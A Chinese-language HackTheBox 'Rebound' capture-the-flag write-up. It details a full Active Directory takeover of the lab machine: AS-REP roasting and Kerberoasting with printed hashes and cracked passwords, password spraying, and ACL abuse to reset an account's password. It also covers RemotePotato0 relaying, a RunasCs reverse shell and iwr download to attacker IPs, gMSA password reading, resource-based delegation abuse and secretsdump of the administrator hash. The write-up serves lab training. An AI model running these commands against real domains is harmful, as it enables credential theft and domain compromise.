Rebound-hackthebox

news/2024/12/26 0:42:27/文章来源:https://www.cnblogs.com/JKding233/p/18424433

端口扫描

image-20240306122408322

smb探测

crackmapexec smb 10.10.11.231 -u anonymous -p "" --shares

image-20240306122433866

RID 枚举

使用 CME 工具对指定主机的 SMB 服务进行扫描,并尝试使用 RID 枚举技术获取主机上的用户和组信息。

RID 枚举(Relative Identifier enumeration)是一种用于获取 Windows 主机上用户和组信息的技术。在 Windows 中,每个安全主体(如用户、组等)都有一个相对标识符(RID),用于在安全描述符中唯一标识该主体。RID 枚举利用这些相对标识符的范围来尝试猜测和枚举主机上的用户和组。

通常情况下,Windows 系统中的用户和组都有一组默认的 RID 范围。例如,管理员用户的 RID 范围可能从 500 开始,而普通用户的 RID 范围可能从 1000 开始。通过尝试枚举这些 RID 范围内的标识符,攻击者可以获取关于主机上用户和组的有用信息,从而进行后续攻击或特权提升

crackmapexec smb 10.10.11.231 -u anonymous -p "" --rid-brute 20000

image-20240306122458234

ASREPRoast

impacket-GetNPUsers rebound.htb/ -usersfile ./xxx -outputfile outputusers.txt -dc-ip 10.129.10.89 -no-pass

查找域当中那些用户设置 'Do not require Kerberos preauthentication' 获取他们的TGT

image-20240306111441731

$krb5asrep$23$jjones@REBOUND.HTB:d0f412d54fc409218d25c2652fe96fdb$db13bb6a0f8516f5af05f9eb5b0c995c7c83e36d9a373e1af39a7dded6980df013967d7776acca85d6ddf72792aaff54b3db899b64196d20e8fc1052f2764c3755c69da63a6a94a873b5f9fde13f71648cb20d17ac1d45fa12661f8af4774d0ada5db1921e913e1de62d674345afc9b54eab3a6a167e57b4f87d1a20d9abcf321834c20a063dbb87e2d4c257648a6aa6eb452bf8c252869a5578ecff8e54f6926d72bffc74eb17581e8a4f117317684dca0a8f50634a576c018429e98f525c953b2fcecbca96922abf2898a75588f000aaca4b2bf291362ff53c4a05c4cab3c54d848cc6335a04448c56

Kerberoasting

python GetUserSPNs.py -no-preauth "jjones" -usersfile ../xxx -dc-host 10.129.108.163 rebound.htb/ -request

查询目标域中以用户帐户身份运行的服务主体名称(SPN)

image-20240306122642560

john破解

image-20240306113246630

1GR8t@$$4u

密码喷洒

crackmapexec smb 10.10.11.231 -u ../xx -p '1GR8t@$$4u' --continue-on-success -d rebound    

image-20240306122735412

添加域名解析

echo '10.10.11.231 rebound.htb dc01.rebound.htb DC01' | sudo tee -a /etc/hosts

很多操作需要同步时钟sudo ntpdate -s dc01.rebound.htb

faketime -f +7h python3 powerview.py rebound.htb/ldap_monitor:'1GR8t@$$4u'@rebound.htb --dc-ip 10.10.11.231 -k
Get-ObjectAcl ServiceMgmt -Server dc01.rebound.htb -ResolveGUIDs 

image-20240306135028171

ActiveDirectoryRights

oorend用户的策略

image-20240306135337651

ActiveDirectoryRights (Active Directory权限):这是授予给对象的Active Directory权限。在这里,权限是“Self”,意味着该对象对自身具有特定权限。

image-20240312122254126

oorend账户拥有 ServiceMgmt组的Self访问权限,该权限可以执行验证写入,因此将接下来的步骤是:将用户oorend添加到ServiceMgmt组中->给组添加GenericAll权限->修改用户winrm_svc的密码>通过winrm进入

这句话描述了一个攻击步骤,其目标是利用已获得的权限,以及对目标系统中的特定组和用户的了解,来进一步提升攻击者在系统中的权限。让我们逐步解释这个步骤:

  1. 将用户oorend添加到ServiceMgmt组中:首先,攻击者计划将已获取的用户账户 "oorend" 添加到名为 "ServiceMgmt" 的组中。这意味着攻击者要利用已知的访问权限来修改组成员资格,以便获取更广泛的权限。
  2. 给组添加GenericAll权限:一旦攻击者成功将自己添加到 "ServiceMgmt" 组中,接下来的目标是将该组的权限升级为 "GenericAll"。这种权限是一种高级权限,允许持有该权限的用户对组中的对象(例如用户)执行几乎所有操作,包括修改其属性和授予其他权限。
  3. 修改用户winrm_svc的密码:一旦 "ServiceMgmt" 组被授予了 "GenericAll" 权限,攻击者可以利用这个权限来修改用户 "winrm_svc" 的密码。这样做的目的可能是为了获取对该用户账户的完全控制,以后可能用于远程访问(如通过WinRM)。
  4. 通过WinRM进入:最后一步是利用已修改的用户 "winrm_svc" 的凭据,通过WinRM服务(Windows远程管理服务)远程登录到目标系统。这样,攻击者可以在目标系统上执行命令和操作,以继续进行后续攻击活动。
#使用oorend的用户凭据向 Active Directory 添加一个用户到指定的组中
faketime -f +7h bloodyAD -d rebound.htb -u oorend -p '1GR8t@$$4u' --host 10.10.11.231 add groupMember 'CN=SERVICEMGMT,CN=USERS,DC=REBOUND,DC=HTB' "CN=oorend,CN=Users,DC=rebound,DC=htb"
#获取TGT
faketime -f +7h python3 getTGT.py rebound.htb/oorend:'1GR8t@$$4u' -dc-ip 10.10.11.231
export KRB5CCNAME=oorend.ccache
#给予修改密码的权限
faketime -f +7h python3 dacledit.py rebound.htb/oorend:'1GR8t@$$4u' -dc-ip 10.10.11.231 -k -use-ldaps -principal "oorend" -action write -rights ResetPassword -target-dn "OU=SERVICE USERS,DC=REBOUND,DC=HTB" -debug -inheritance
#修改winrm_svc的密码为1GR8t@$$4u
net rpc password winrm_svc -U 'rebound.htb/oorend%1GR8t@$$4u' -S rebound.htb

image-20240306151151474

image-20240306151126436

image-20240306154036994

evil-winrm -i 10.10.11.231 -u winrm_svc -p '1GR8t@$$4u'

image-20240306154814263

NTLM Relay 攻击

RemotePotato0 抓取和窃取登录计算机的用户的 NTLMv2 哈希值

RemotePotato0 是一种攻击工具,利用了 Windows 操作系统中的 NTLM 认证协议漏洞,以提升权限为目标。其工作原理基于以下几个关键步骤:

  1. NTLM Relay 攻击:RemotePotato0 利用 NTLM Relay 攻击漏洞,将目标主机发送的 NTLM 认证请求中继到攻击者控制的 SMB 或 HTTP 服务器。攻击者可以通过模拟目标服务的响应,诱使目标主机将 NTLM 认证信息发送到攻击者控制的恶意服务器上。
  2. NTLM 中间人攻击:一旦攻击者获取了目标主机的 NTLM 认证信息,可以将这些信息中继到其他服务或系统上,从而实现中间人攻击。RemotePotato0 将 NTLM 认证信息中继到本地或远程的 Windows Service 进程上,使得该进程以目标用户的权限执行。
  3. 提权:在攻击者控制的 Windows Service 进程中执行的恶意代码会以目标用户的权限运行。攻击者可以利用这个权限来执行任意命令或获得系统的高级权限,实现提权攻击。

总的来说,RemotePotato0 利用了 Windows 系统中的认证机制漏洞,通过 NTLM 中继和中间人攻击的方式,实现了对目标系统的权限提升,从而达到攻击者的目的。

socat -v TCP-LISTEN:135,fork,reuseaddr TCP:10.10.11.231:9999 && sudo python3 /root/hackthebox/impacket-master/examples -t ldap://10.10.11.231 --no-wcf-server --escalate-user winrm_svc.\RemotePotato0.exe -m 2 -r 10.10.14.19 -x 10.10.14.19 -p 9999 -s 1

image-20240306165129206

image-20240306165109369

image-20240306165837137

543BOMBOMBUNmanda

读取GMSA密码

image-20240313100231710

tbrady可以读取DELEGATOR的GMSA密码

GMSA(Group Managed Service Account)密码是一种由Windows Server管理的安全账户,用于管理域成员服务器或工作站上的服务。与普通的服务账户不同,GMSA账户的密码是由域控制器自动管理和更新的,因此它们提供了更高的安全性和便利性。

tbrady不能远程登陆,可以使用RunasCs将shell转发出来

./RunasCs.exe tbrady 543BOMBOMBUNmanda cmd.exe -r 10.10.14.49:9000
nc -lvnp 9000

读取密码

powershell -exec bypass -c "iwr http://10.10.16.4:7777/GMSAPasswordReader.exe -outfile gmsa.exe"C:\temp>gmsa.exe --accountname delegator$

或远程方式获取

faketime -f +7h crackmapexec ldap dc01.rebound.htb -u tbrady -p 543BOMBOMBUNmanda -k --gmsa
或
bloodyAD -d rebound.htb -u tbrady -p '543BOMBOMBUNmanda' --host dc01.rebound.htb get object 'delegator$' --attr msDS-ManagedPassword

image-20240313165541598

基于资源的约束性委派

S1:browser/dc01.rebound.htb

S2:http/dc01.rebound.htb

img

*Evil-WinRM* PS C:\Shared> Get-DomainComputer -TrustedToAuth | select serviceprincipalname, name, msds-allowedtodelegateto

image-20240313144046532

DELEGATOR允许委派http/dc01.rebound.htb

Get-DomainComputer -SPN "browser/dc01.rebound.htb"

image-20240313143939068

拿到delegator$的tgt并导入

impacket-getTGT 'rebound.htb/delegator$' -hashes aad3b435b51404eeaad3b435b51404ee:e1630b0e18242439a50e9d8b5f5b7524 -dc-ip 10.10.11.231

image-20240313194405279

设置允许ldap_monitor到delegator的委派

impacket-rbcd 'rebound.htb/delegator$' -k -no-pass -delegate-from ldap_monitor -delegate-to 'delegator$' -action write -use-ldaps -debug -dc-ip 10.10.11.231

image-20240313194423285

  • -k: 使用Kerberos身份验证。
  • -no-pass: 不需要提供密码。
  • -delegate-from ldap_monitor: 将权限委派给ldap_monitor用户。
  • -delegate-to 'delegator$': 使用delegator$用户进行委派。
  • -action write: 执行写操作。
  • -use-ldaps: 使用LDAPS(LDAP over SSL/TLS)连接。

这个命令执行后会修改msDS-AllowedToActOnBehalfOfOtherIdentityldap_monitor现在可以通过S4U2Proxy机制代理其他用户,包括delegator$

msDS-AllowedToActOnBehalfOfOtherIdentity 是 Active Directory 中的属性,用于指定允许一个安全主体(例如用户或计算机账户)代表另一个安全主体执行某些操作的权限。

Get-DomainComputer -TrustedToAuth |select msDS-AllowedToActOnBehalfOfOtherIdentity

image-20240313192816070

msDS-AllowedToActOnBehalfOfOtherIdentity每隔一段时间都会重置

申请ldap_monitor的tgt

impacket-getTGT 'rebound.htb/ldap_monitor:1GR8t@$$4u' -dc-ip 10.10.11.231

image-20240313194444726

使用ldap_monitor的tgt冒充dc01申请ST,这个ST是不可转发ST

impacket-getST -spn "browser/dc01.rebound.htb" -impersonate "dc01$" "rebound.htb/ldap_monitor" -k -no-pass -dc-ip 10.10.11.231

image-20240313194515309

如果用这个st会失败

impacket-secretsdump -no -k dc01.rebound.htb -just-dc-user administrator -dc-ip 10.10.11.231
Impacket for Exegol - v0.10.1.dev1 - Copyright 2022 Fortra - forked by ThePorgs[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
[-] DRSR SessionError: code: 0x20f7 - ERROR_DS_DRA_BAD_DN - The distinguished name specified for this replication operation is invalid.
[*] Something went wrong with the DRSUAPI approach. Try again with -use-vss parameter
[*] Cleaning up...

需要通过委派向KDC获取可转发的ST

impacket-getST -spn "http/dc01.rebound.htb" -impersonate "dc01$" -additional-ticket "dc01$.ccache" "rebound.htb/delegator$" -hashes aad3b435b51404eeaad3b435b51404ee:e1630b0e18242439a50e9d8b5f5b7524 -k -no-pass -dc-ip 10.10.11.231

image-20240313194549230

dump administrator hash

impacket-secretsdump -no -k dc01.rebound.htb -just-dc-user administrator -dc-ip 10.10.11.231

image-20240313194608760

遇到的问题

bloodhound-python总是失败,之后用powershell脚本执行了,尽量使用低版本的,要不最新版本的bloodhound上传解析不了

bloodhound-python -d rebound.htb -u oorend@rebound.htb -p '1GR8t@$$4u' -dc dc01.rebound.htb -c All --auth-method kerberos --zip -ns 10.10.11.231 --dns-timeout 40

image-20240308155422517

查询委派

*Evil-WinRM* PS C:\Shared> Get-NetComputer -Unconstrained -Domain rebound.htb |select namename
----
DC01*Evil-WinRM* PS C:\Shared> Get-DomainComputer -TrustedToAuth -Domain rebound.htb | select namename
----
delegator

Domain Controllers始终允许非约束性委派

参考

域委派攻击详解 - yokan - 博客园 (cnblogs.com)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/801184.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

CSP-J 2024 入门组初赛第一轮初赛试题及答案解析

CSP-J 2024 入门组初赛第一轮初赛试题及答案解析 一、 单项选择题(共15题,每题2分,共计30分:每题有且仅有一个正确选项) 1 32 位 int 类型的存储范围是( ) A -2147483647 ~ +2147483647 B -2147483647 ~ +2147483648 C -2147483648 ~ +2147483647 D -2147483648 ~ +…

数字产品护照 (DPP) 解决方案:利用 Blazor 和区块链实现产品全生命周期追踪

数字产品护照 (DPP) 解决方案:利用 Blazor 和区块链实现产品全生命周期追踪 随着全球对可持续发展和产品透明度的关注日益增加,企业需要一种可靠的方法来跟踪和管理产品生命周期中的关键数据。我们的数字产品护照(Digital Product Passport,DPP)系统正是为此而生,提供了一…

四种常用的IO模型

不管是做C端还是做B端,都要接触网络。文件操作,rpc,网上冲浪等,都与网络相关。网络又离不开IO。用的最多的IO操作就是读取和写入了。在Linux系统中,用read系统调用来发起读取操作,用write系统调用来发起写入操作。虽然在开发中,很少接触到底层的原理。但是学习后可以让我…

java学习9.21

今天回炉mybatis的用法,由于之前只是跟着教程走能成功配置数据库,但是一旦出现细小的区别就会产生自己改不了的bug,因此熟悉mybaits和其他技术的内容。知道问题出在哪里,以及怎么改。 mybatis配置 1.导入操作 (1)官网下载jar包并导入 (2)maven直接导入依赖 2.导入完之后创建…

龙祖维的第一次作业

这个作业属于哪个课程 https://edu.cnblogs.com/campus/zjlg/rjjc这个作业的目标 熟悉博客、向老师介绍自己姓名-学号 龙祖维 2022329301084一、自我介绍 基本信息 我叫龙祖维,来自湖南郴州,是22电气工程及其自动化2班的一名学生 兴趣爱好 我喜欢运动,篮球、足球、乒乓及羽毛…

企业如何快速拥有专属的Agent平台?

LinkAI3.0基于企业场景全新打造的Agen3.0平台,既聚焦业务,带来了新的业务型功能,也基于管理需求,增加了通用的管理型功能:全新「客户管理」支持AI生成客户标签及画像;工作流自定义变量拓展个性化的使用场景;支持精细化管控成员角色权限的「企业空间」;「企业专属智能体…

docker阶段04 Docker仓库管理(Harbor), Docker 的资源限制

Docker 仓库管理 上传docker hub官方镜像仓库#1.给本地镜像打标签 上传本地镜像前必须先给上传的镜像用docker tag 命令打标签 标签格式: docker.io/用户帐号/镜像名:TAG #范例: [root@ubuntu1804 ~]#docker tag alpine:3.11 docker.io/wangxiaochun/alpine:3.11-v1#2.登录 do…

【EasyBlog】基于React+AntD+NextJS+NestJS+MySQL打造的开源博客系统

Easy-Blog 是一套集成文章发表、页面创建、知识库管理、博客后台管理等功能于一体的博客系统。Github项目地址:https://github.com/fecommunity/easy-blog, 欢迎Star。Github项目地址:https://github.com/fecommunity/easy-blog, 欢迎Star。Easy-Blog Easy-Blog 是一套集成…

为啥chrome查看到网页,只有5000多行,应该有1万多行才对

大家好,我是皮皮。 一、前言 前几天在Python白银交流群【磐奚鸟】问了一个Python网络爬虫处理的问题,这里拿出来给大家分享下。二、实现过程 这里【惜君】给了一个指导,可能网站有限制数据量。这里【瑜亮老师】发现了问题所在,如下图所示:数据方面确实存在,顺利地解决了粉…

Maven 使用方法

MavenMaven是一个项目管理工具,它包含了一个项目对象模型(POM:Project Object Model),其表现于一个XML文件(pom.xml),其中包含了项目的基本学习,依赖关系,插件配置,构建路径等等为什么使用Maven导入第三方jar包更便捷:之前我们在使用第三方框架时我们会把jar包复制粘贴到WEB-IN…

CIDR与ICMP

CIDR CIDP:无类域间路由/超网 将多个小的子网,用一个相对更大的地址范围进行概括,以此实现表项的优化 如何求cidr后的ip 1.将子网转换成2进制: 0000 1010.0000 0001.0000 0000.0000 0000——10.1.0.0 0000 1010.0000 0001.0000 0001.0000 0000——10.1.1.0 0000 1010.0000 …

lightgbm的输出到低是怎么来的

结论:假设有100棵树,总输出就是100棵树每个输入所对应的输出叶子结点之和1 可以打印出每个样本在每棵树上所属的叶子结点id2 可以打印每棵树每个叶子结点的输出 3 找到每棵树对应叶子结点,加起来 4 查看该样本的模型输出,发现是一致的 5 可以画图每棵树的结构图,方便理解